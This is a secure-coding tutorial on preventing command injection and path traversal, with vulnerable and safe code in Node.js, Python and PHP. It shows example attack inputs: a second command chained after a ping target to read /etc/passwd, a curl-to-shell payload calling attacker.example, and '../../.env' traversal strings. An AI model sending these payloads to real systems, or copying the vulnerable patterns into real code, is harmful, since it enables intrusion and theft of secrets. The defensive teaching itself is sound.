Command Injection and Path Traversal: Examples and Prevention
Practice4 minInnovialabs editorial team
In short
Both attacks happen when user input becomes part of a shell command or file path; prevent them by never invoking a shell, passing arguments as an array, allowlisting values and checking that the resolved path stays inside a base directory.
The short answer
Command injection happens when your code builds a shell command from user input, and the attacker adds their own command with characters like ;, &&, | or $(). Path traversal happens when user input becomes part of a file path, and sequences like ../ let the attacker read or overwrite files outside the intended folder.
The fix is the same idea in both cases: do not let data become code or structure. Call programs without a shell, pass arguments as a list, accept only known values, and verify the final path after normalization.
Command injection: vulnerable patterns
All three examples below glue a parameter into a string that a shell interprets.
// Node.js — vulnerable
const { exec } = require("child_process");
exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
# Python — vulnerable
import subprocess
subprocess.run(f"ping -c 1 {host}", shell=True)
// PHP — vulnerable
echo shell_exec("ping -c 1 " . $_GET["host"]);
If the attacker sends 8.8.8.8; cat /etc/passwd, the shell runs both commands. With $(curl attacker.example | sh) they can download and run arbitrary code with the privileges of your web server.
Command injection: safe patterns
- Prefer a library over a CLI. Need to resize an image or make an archive? A native library removes the shell from the picture entirely.
- Call the program directly, without a shell, and pass arguments as an array. The shell metacharacters then lose their meaning.
- Validate against an allowlist — a regex for a hostname, an enum for a format, a number range for a size.
- Stop argument injection. Even without a shell, a value like
--output=/tmp/xcan be read as an option. Put--before user values when the tool supports it, and reject values starting with-.
// Node.js — safe
const { execFile } = require("child_process");
if (!/^[a-zA-Z0-9.-]{1,253}$/.test(host)) return res.status(400).end();
execFile("ping", ["-c", "1", "--", host], (err, out) => res.send(out));
# Python — safe
subprocess.run(["ping", "-c", "1", "--", host], check=True, timeout=5)
In PHP, prefer proc_open with an array command (supported in modern versions) or, at minimum, wrap every argument with escapeshellarg(). Escaping is a fallback, not a design: one forgotten call reopens the hole.
Path traversal: vulnerable patterns
// Node.js — vulnerable
const file = path.join(__dirname, "uploads", req.params.name);
res.sendFile(file);
A request for ../../.env resolves to a file outside uploads. The same mistake appears with open(os.path.join(BASE, name)) in Python and file_get_contents("uploads/" . $name) in PHP. Attackers also try encoded forms like %2e%2e%2f, backslashes on Windows and absolute paths: os.path.join("/data", "/etc/passwd") simply returns /etc/passwd.
Path traversal: safe patterns
The reliable check is: resolve the full path first, then confirm it is still inside the base directory.
// Node.js — safe
const BASE = path.resolve(__dirname, "uploads");
const target = path.resolve(BASE, req.params.name);
if (!target.startsWith(BASE + path.sep)) return res.status(400).end();
res.sendFile(target);
# Python — safe
from pathlib import Path
BASE = Path("/srv/app/uploads").resolve()
target = (BASE / name).resolve()
if not target.is_relative_to(BASE):
raise PermissionError("invalid path")
// PHP — safe
$base = realpath(__DIR__ . "/uploads");
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || !str_starts_with($target, $base . DIRECTORY_SEPARATOR)) {
http_response_code(400); exit;
}
Even better, do not use user-supplied names at all. Store files under generated IDs (a UUID) and keep the original name in the database. The client asks for /files/3f2a…, and the server looks up the real path.
Checklist
- No
exec,shell=True,system,shell_execor backticks with user data. - Arguments as arrays;
--before user values; reject leading-. - Allowlists for hostnames, formats and file extensions.
- Paths resolved with
resolve/realpathand checked against the base directory. - Files stored under generated IDs.
- The app runs as a low-privilege user, so a successful attack reaches less.
- Code review and SAST rules flag dangerous functions automatically.
Common mistakes
- Blocklisting characters like
;or../. There are too many encodings and alternatives; allowlists win. - Checking before decoding. Validate the value your code will actually use, after URL decoding and normalization.
- A prefix check without a separator.
/srv/uploads-oldstarts with/srv/uploads; always compare with the trailing separator. - Forgetting symlinks.
realpathandPath.resolve()follow them; plain string normalization does not.